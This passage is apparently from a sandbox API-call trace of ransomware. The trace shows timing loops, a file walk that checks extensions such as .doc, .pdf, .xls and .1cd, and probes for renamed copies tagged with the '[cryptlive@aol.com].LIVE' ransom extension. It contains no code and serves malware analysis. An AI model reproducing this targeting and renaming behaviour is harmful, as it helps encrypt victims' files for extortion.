(hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0143.821] GetTickCount () returned 0x1134c5c [0143.821] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0144.204] GetTickCount () returned 0x1134de2 [0144.204] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0144.542] GetTickCount () returned 0x1134f2a [0144.542] GetTickCount () returned 0x1134f2a [0144.542] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0144.762] GetTickCount () returned 0x1135004 [0144.762] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0145.047] GetTickCount () returned 0x113512d [0145.047] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0145.229] GetTickCount () returned 0x11351d8 [0145.229] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0145.613] GetTickCount () returned 0x113535e [0145.613] GetTickCount () returned 0x113535e [0145.613] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0145.780] GetTickCount () returned 0x113540a [0145.780] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0146.168] GetTickCount () returned 0x1135590 [0146.168] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0146.320] GetTickCount () returned 0x113561c [0146.320] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0146.789] GetTickCount () returned 0x11357f0 [0146.789] GetTickCount () returned 0x11357f0 [0146.789] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0147.179] GetTickCount () returned 0x1135976 [0147.179] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0147.282] GetTickCount () returned 0x11359e3 [0147.282] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0147.551] GetTickCount () returned 0x1135aed [0147.552] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0147.738] GetTickCount () returned 0x1135ba8 [0147.738] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0147.939] GetTickCount () returned 0x1135c73 [0147.939] GetTickCount () returned 0x1135c73 [0147.939] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0148.359] GetTickCount () returned 0x1135e18 [0148.360] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0148.575] GetTickCount () returned 0x1135ef2 [0148.575] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0148.838] GetTickCount () returned 0x1135ffb [0148.839] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0149.381] GetTickCount () returned 0x113621d [0149.381] GetTickCount () returned 0x113621d [0149.381] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0149.744] GetTickCount () returned 0x1136384 [0149.744] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0149.975] GetTickCount () returned 0x113646e [0149.975] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0150.216] GetTickCount () returned 0x1136558 [0150.216] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0150.473] GetTickCount () returned 0x1136661 [0150.473] GetTickCount () returned 0x1136661 [0150.473] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0150.846] GetTickCount () returned 0x11367c8 [0150.846] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x102 [0151.421] GetTickCount () returned 0x1136a09 [0151.421] WaitForSingleObject (hHandle=0x170, dwMilliseconds=0x64) returned 0x0 [0151.461] GetTickCount () returned 0x1136a38 [0151.461] Sleep (dwMilliseconds=0x64) [0151.935] GetTickCount () returned 0x1136c0c [0151.935] GetTickCount () returned 0x1136c0c [0151.935] Sleep (dwMilliseconds=0x64) [0152.304] GetTickCount () returned 0x1136d83 [0152.304] Sleep (dwMilliseconds=0x64) [0152.482] GetTickCount () returned 0x1136e2e [0152.482] Sleep (dwMilliseconds=0x64) [0152.927] GetTickCount () returned 0x1136ff3 [0152.927] Sleep (dwMilliseconds=0x64) [0153.330] GetTickCount () returned 0x1137188 [0153.330] GetTickCount () returned 0x1137188 [0153.330] Sleep (dwMilliseconds=0x64) [0153.611] GetTickCount () returned 0x11372a1 [0153.612] Sleep (dwMilliseconds=0x64) [0154.119] GetTickCount () returned 0x1137494 [0154.119] Sleep (dwMilliseconds=0x64) [0154.471] GetTickCount () returned 0x11375fb [0154.471] GetTickCount () returned 0x11375fb [0154.472] Sleep (dwMilliseconds=0x64) [0154.950] GetTickCount () returned 0x11377df [0154.954] Sleep (dwMilliseconds=0x64) [0155.334] GetTickCount () returned 0x1137955 [0155.334] Sleep (dwMilliseconds=0x64) [0155.981] GetTickCount () returned 0x1137be4 [0155.981] GetTickCount () returned 0x1137be4 [0155.981] Sleep (dwMilliseconds=0x64) [0156.516] GetTickCount () returned 0x1137df7 [0156.516] Sleep (dwMilliseconds=0x64) [0156.824] GetTickCount () returned 0x1137f2f [0156.824] Sleep (dwMilliseconds=0x64) [0157.476] GetTickCount () returned 0x11381ae [0157.476] GetTickCount () returned 0x11381ae [0157.476] Sleep (dwMilliseconds=0x64) [0157.831] GetTickCount () returned 0x1138315 [0157.831] Sleep (dwMilliseconds=0x64) [0158.116] GetTickCount () returned 0x113842e [0158.116] Sleep (dwMilliseconds=0x64) [0158.355] GetTickCount () returned 0x1138527 [0158.355] Sleep (dwMilliseconds=0x64) [0158.837] GetTickCount () returned 0x113870b [0158.837] GetTickCount () returned 0x113870b [0158.837] Sleep (dwMilliseconds=0x64) [0159.304] GetTickCount () returned 0x11388df [0159.304] Sleep (dwMilliseconds=0x64) [0159.505] GetTickCount () returned 0x11389aa [0159.505] Sleep (dwMilliseconds=0x64) [0159.843] GetTickCount () returned 0x1138af1 [0159.843] Sleep (dwMilliseconds=0x64) [0160.035] GetTickCount () returned 0x1138bbc [0160.035] GetTickCount () returned 0x1138bbc [0160.036] Sleep (dwMilliseconds=0x64) [0160.418] GetTickCount () returned 0x1138d33 [0160.418] Sleep (dwMilliseconds=0x64) [0160.637] GetTickCount () returned 0x1138e0d [0160.637] Sleep (dwMilliseconds=0x64) [0160.801] GetTickCount () returned 0x1138eb9 [0160.801] Sleep (dwMilliseconds=0x64) [0161.006] GetTickCount () returned 0x1138f83 [0161.006] Sleep (dwMilliseconds=0x64) [0161.328] GetTickCount () returned 0x11390bb [0161.328] GetTickCount () returned 0x11390bb [0161.328] Sleep (dwMilliseconds=0x64) [0161.809] GetTickCount () returned 0x113929f [0161.809] Sleep (dwMilliseconds=0x64) [0162.034] GetTickCount () returned 0x1139389 [0162.034] Sleep (dwMilliseconds=0x64) [0162.169] GetTickCount () returned 0x1139406 [0162.169] Sleep (dwMilliseconds=0x64) [0162.401] GetTickCount () returned 0x11394f0 [0162.401] GetTickCount () returned 0x11394f0 [0162.401] Sleep (dwMilliseconds=0x64) [0162.662] GetTickCount () returned 0x11395f9 [0162.662] Sleep (dwMilliseconds=0x64) [0162.872] GetTickCount () returned 0x11396c4 [0162.872] Sleep (dwMilliseconds=0x64) [0163.676] GetTickCount () returned 0x11399ef [0163.676] GetTickCount () returned 0x11399ef [0163.676] Sleep (dwMilliseconds=0x64) [0163.944] GetTickCount () returned 0x1139af8 [0163.944] Sleep (dwMilliseconds=0x64) [0164.183] GetTickCount () returned 0x1139be2 [0164.183] Sleep (dwMilliseconds=0x64) [0164.335] GetTickCount () returned 0x1139c7e [0164.335] Sleep (dwMilliseconds=0x64) [0164.455] GetTickCount () returned 0x1139cfb [0164.455] Sleep (dwMilliseconds=0x64) [0164.577] GetTickCount () returned 0x1139d78 [0164.577] Sleep (dwMilliseconds=0x64) [0164.725] GetTickCount () returned 0x1139e04 [0164.725] GetTickCount () returned 0x1139e04 [0164.725] Sleep (dwMilliseconds=0x64) [0164.865] GetTickCount () returned 0x1139e91 [0164.865] Sleep (dwMilliseconds=0x64) [0164.979] GetTickCount () returned 0x1139efe [0164.979] Sleep (dwMilliseconds=0x64) [0165.122] GetTickCount () returned 0x1139f9a [0165.122] Sleep (dwMilliseconds=0x64) [0165.268] GetTickCount () returned 0x113a026 [0165.268] Sleep (dwMilliseconds=0x64) [0165.452] GetTickCount () returned 0x113a0e2 [0165.452] Sleep (dwMilliseconds=0x64) [0165.593] GetTickCount () returned 0x113a16e [0165.593] Sleep (dwMilliseconds=0x64) [0165.722] GetTickCount () returned 0x113a1eb [0165.722] Sleep (dwMilliseconds=0x64) [0165.870] GetTickCount () returned 0x113a277 [0165.870] GetTickCount () returned 0x113a277 [0165.871] Sleep (dwMilliseconds=0x64) [0166.031] GetTickCount () returned 0x113a313 [0166.031] Sleep (dwMilliseconds=0x64) [0166.193] GetTickCount () returned 0x113a3bf [0166.193] Sleep (dwMilliseconds=0x64) [0166.329] GetTickCount () returned 0x113a43c [0166.329] Sleep (dwMilliseconds=0x64) [0166.476] GetTickCount () returned 0x113a4c8 [0166.476] Sleep (dwMilliseconds=0x64) [0166.670] GetTickCount () returned 0x113a583 [0166.670] Sleep (dwMilliseconds=0x64) [0166.801] GetTickCount () returned 0x113a610 [0166.801] Sleep (dwMilliseconds=0x64) [0167.015] GetTickCount () returned 0x113a6ea [0167.015] GetTickCount () returned 0x113a6ea [0167.015] Sleep (dwMilliseconds=0x64) [0167.180] GetTickCount () returned 0x113a786 [0167.180] Sleep (dwMilliseconds=0x64) [0167.283] GetTickCount () returned 0x113a7f3 [0167.283] Sleep (dwMilliseconds=0x64) [0167.405] GetTickCount () returned 0x113a870 [0167.405] Sleep (dwMilliseconds=0x64) [0167.623] GetTickCount () returned 0x113a94a [0167.623] Sleep (dwMilliseconds=0x64) [0167.783] GetTickCount () returned 0x113a9e6 [0167.783] Sleep (dwMilliseconds=0x64) [0167.904] GetTickCount () returned 0x113aa63 [0167.904] Sleep (dwMilliseconds=0x64) [0168.077] GetTickCount () returned 0x113ab0f [0168.077] GetTickCount () returned 0x113ab0f [0168.077] Sleep (dwMilliseconds=0x64) [0168.267] WaitForMultipleObjects (nCount=0x4, lpHandles=0x25cff64*=0x138, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 50 os_tid = 0x588 Thread: id = 53 os_tid = 0x65c [0126.677] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x93f300 [0126.677] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10000) returned 0x94f308 [0126.678] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0170 [0126.678] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x6) returned 0x93ed18 [0126.678] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d0188 [0126.678] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x100000) returned 0x38a0020 [0126.679] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d01a0 [0126.679] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d01a0, Size=0x20) returned 0x8fe010 [0126.679] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x10) returned 0x8d01a0 [0126.679] RtlReAllocateHeap (Heap=0x880000, Flags=0x0, Ptr=0x8d01a0, Size=0x20) returned 0x8fdfe8 [0126.679] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75080000 [0126.679] GetProcAddress (hModule=0x75080000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x750ad650 [0126.679] Wow64DisableWow64FsRedirection (in: OldValue=0x2c4ff58 | out: OldValue=0x2c4ff58*=0x0) returned 1 [0126.679] lstrlenW (lpString="kernel32.dll") returned 12 [0126.679] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fe010 | out: hHeap=0x880000) returned 1 [0126.679] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.679] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x8fdfe8 | out: hHeap=0x880000) returned 1 [0126.680] Sleep (dwMilliseconds=0x64) [0127.141] lstrcmpiW (lpString1=".LOG", lpString2=".LIVE") returned 1 [0127.141] lstrlenW (lpString="BCD.LOG") returned 7 [0127.141] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0127.141] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.141] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.141] lstrlenW (lpString=".doc") returned 4 [0127.142] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0127.142] lstrlenW (lpString=".docx") returned 5 [0127.142] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0127.142] lstrlenW (lpString=".pdf") returned 4 [0127.142] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0127.142] lstrlenW (lpString=".xls") returned 4 [0127.142] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0127.142] lstrlenW (lpString=".xlsx") returned 5 [0127.142] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0127.142] lstrlenW (lpString=".ppt") returned 4 [0127.142] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0127.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.142] lstrlenW (lpString=".zip") returned 4 [0127.142] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0127.142] lstrlenW (lpString=".rar") returned 4 [0127.142] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0127.142] lstrlenW (lpString=".bz2") returned 4 [0127.142] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0127.142] lstrlenW (lpString=".7z") returned 3 [0127.142] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0127.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.142] lstrlenW (lpString=".dbf") returned 4 [0127.142] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0127.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.142] lstrlenW (lpString=".1cd") returned 4 [0127.142] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0127.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.142] lstrlenW (lpString=".jpg") returned 4 [0127.142] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0127.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.142] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.142] lstrlenW (lpString=".doc") returned 4 [0127.142] lstrcmpiW (lpString1=".doc", lpString2=".LOG") returned -1 [0127.142] lstrlenW (lpString=".docx") returned 5 [0127.142] lstrcmpiW (lpString1=".docx", lpString2="D.LOG") returned -1 [0127.142] lstrlenW (lpString=".pdf") returned 4 [0127.143] lstrcmpiW (lpString1=".pdf", lpString2=".LOG") returned 1 [0127.143] lstrlenW (lpString=".xls") returned 4 [0127.143] lstrcmpiW (lpString1=".xls", lpString2=".LOG") returned 1 [0127.143] lstrlenW (lpString=".xlsx") returned 5 [0127.143] lstrcmpiW (lpString1=".xlsx", lpString2="D.LOG") returned -1 [0127.143] lstrlenW (lpString=".ppt") returned 4 [0127.143] lstrcmpiW (lpString1=".ppt", lpString2=".LOG") returned 1 [0127.143] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.143] lstrlenW (lpString=".zip") returned 4 [0127.143] lstrcmpiW (lpString1=".zip", lpString2=".LOG") returned 1 [0127.143] lstrlenW (lpString=".rar") returned 4 [0127.143] lstrcmpiW (lpString1=".rar", lpString2=".LOG") returned 1 [0127.143] lstrlenW (lpString=".bz2") returned 4 [0127.143] lstrcmpiW (lpString1=".bz2", lpString2=".LOG") returned -1 [0127.143] lstrlenW (lpString=".7z") returned 3 [0127.143] lstrcmpiW (lpString1=".7z", lpString2="LOG") returned -1 [0127.143] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.143] lstrlenW (lpString=".dbf") returned 4 [0127.143] lstrcmpiW (lpString1=".dbf", lpString2=".LOG") returned -1 [0127.143] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.143] lstrlenW (lpString=".1cd") returned 4 [0127.143] lstrcmpiW (lpString1=".1cd", lpString2=".LOG") returned -1 [0127.143] lstrlenW (lpString="C:\\Boot\\BCD.LOG") returned 15 [0127.143] lstrlenW (lpString=".jpg") returned 4 [0127.143] lstrcmpiW (lpString1=".jpg", lpString2=".LOG") returned -1 [0127.143] Sleep (dwMilliseconds=0x64) [0127.402] lstrcmpiW (lpString1=".avi", lpString2=".LIVE") returned -1 [0127.402] lstrlenW (lpString="boxed-split.avi") returned 15 [0127.402] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0129.788] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=62976) returned 1 [0129.788] CloseHandle (hObject=0x300) returned 1 [0129.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0129.788] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.788] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.788] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.788] lstrlenW (lpString=".doc") returned 4 [0129.788] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.788] lstrlenW (lpString=".docx") returned 5 [0129.788] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.788] lstrlenW (lpString=".pdf") returned 4 [0129.789] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString=".xls") returned 4 [0129.789] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString=".xlsx") returned 5 [0129.789] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.789] lstrlenW (lpString=".ppt") returned 4 [0129.789] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.789] lstrlenW (lpString=".zip") returned 4 [0129.789] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString=".rar") returned 4 [0129.789] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString=".bz2") returned 4 [0129.789] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString=".7z") returned 3 [0129.789] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.789] lstrlenW (lpString=".dbf") returned 4 [0129.789] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.789] lstrlenW (lpString=".1cd") returned 4 [0129.789] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.789] lstrlenW (lpString=".jpg") returned 4 [0129.789] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.789] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.789] lstrlenW (lpString=".doc") returned 4 [0129.790] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString=".docx") returned 5 [0129.790] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0129.790] lstrlenW (lpString=".pdf") returned 4 [0129.790] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString=".xls") returned 4 [0129.790] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString=".xlsx") returned 5 [0129.790] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0129.790] lstrlenW (lpString=".ppt") returned 4 [0129.790] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.790] lstrlenW (lpString=".zip") returned 4 [0129.790] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString=".rar") returned 4 [0129.790] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString=".bz2") returned 4 [0129.790] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString=".7z") returned 3 [0129.790] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0129.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.790] lstrlenW (lpString=".dbf") returned 4 [0129.790] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0129.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.790] lstrlenW (lpString=".1cd") returned 4 [0129.790] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0129.790] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\boxed-split.avi") returned 72 [0129.790] lstrlenW (lpString=".jpg") returned 4 [0129.790] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0129.791] lstrcmpiW (lpString1=".xml", lpString2=".LIVE") returned 1 [0129.791] lstrlenW (lpString="auxpad.xml") returned 10 [0129.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0129.791] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=212) returned 1 [0129.791] CloseHandle (hObject=0x300) returned 1 [0129.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml")) returned 0x20 [0129.791] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0129.791] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0129.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.792] lstrlenW (lpString=".doc") returned 4 [0129.792] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.792] lstrlenW (lpString=".docx") returned 5 [0129.792] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0129.792] lstrlenW (lpString=".pdf") returned 4 [0129.792] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.792] lstrlenW (lpString=".xls") returned 4 [0129.792] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.792] lstrlenW (lpString=".xlsx") returned 5 [0129.792] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0129.792] lstrlenW (lpString=".ppt") returned 4 [0129.792] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.792] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.792] lstrlenW (lpString=".zip") returned 4 [0129.792] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.792] lstrlenW (lpString=".rar") returned 4 [0129.793] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString=".bz2") returned 4 [0129.793] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString=".7z") returned 3 [0129.793] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0129.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.793] lstrlenW (lpString=".dbf") returned 4 [0129.793] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.793] lstrlenW (lpString=".1cd") returned 4 [0129.793] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.793] lstrlenW (lpString=".jpg") returned 4 [0129.793] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.793] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.793] lstrlenW (lpString=".doc") returned 4 [0129.793] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString=".docx") returned 5 [0129.793] lstrcmpiW (lpString1=".docx", lpString2="d.xml") returned -1 [0129.793] lstrlenW (lpString=".pdf") returned 4 [0129.793] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString=".xls") returned 4 [0129.793] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0129.793] lstrlenW (lpString=".xlsx") returned 5 [0129.793] lstrcmpiW (lpString1=".xlsx", lpString2="d.xml") returned -1 [0129.793] lstrlenW (lpString=".ppt") returned 4 [0129.794] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0129.794] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\auxpad.xml") returned 75 [0129.794] lstrlenW (lpString=".zip") returned 4 [0129.794] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0129.794] lstrlenW (lpString=".rar") returned 4 [0129.794] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0129.794] lstrlenW (lpString=".bz2") returned 4 [0129.794] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0129.794] lstrlenW (lpString=".7z") returned 3 [0129.794] lstrcmpiW (lpString1=".7z", 